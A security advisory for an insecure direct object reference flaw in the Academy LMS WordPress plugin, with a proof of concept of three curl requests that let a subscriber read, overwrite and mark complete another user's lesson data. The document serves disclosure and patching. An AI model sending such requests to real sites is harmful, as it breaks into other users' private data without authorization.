Academy LMS < 3.8.1 – Subscriber+ Cross-User Lesson Note and Progress Modification via IDOR | CVE 2026-14184

Description

The plugin does not verify ownership of a user-supplied user identifier in several of its lesson AJAX handlers, allowing authenticated users with subscriber-level access to read and modify other users' lesson notes and mark other users' lesson content as completed.

Proof of Concept

Prerequisites:
- Academy LMS 3.7.1 active, a published course with lessons.
- Two subscriber accounts: attacker and victim. The victim has written a lesson note.

Steps (as the attacker, a Subscriber):
1. Log in as the attacker, open any course page, and read AcademyGlobal.academy_nonce from the page source.
2. Read the victim's private note:
curl -X POST "https://victim.example/wp-admin/admin-ajax.php" -b "<attacker session>" \
  -d "action=academy/get_lesson_note&security=<nonce>&course_id=<id>&user_id=<victim_id>"
-> {"success":true,"data":"<victim's private note>"}

3. Overwrite the victim's note:
curl -X POST "https://victim.example/wp-admin/admin-ajax.php" -b "<attacker session>" \
  -d "action=academy/save_lesson_note&security=<nonce>&course_id=<id>&user_id=<victim_id>&note=HACKED"
-> {"success":true,"data":"Successfully saved your lesson note."}

4. Mark the victim's lesson video complete:
curl -X POST "https://victim.example/wp-admin/admin-ajax.php" -b "<attacker session>" \
  -d "action=academy/complete_lesson_video&security=<nonce>&course_id=<id>&user_id=<victim_id>&topic_id=<id>"
-> {"success":true,"data":{"completed":true}}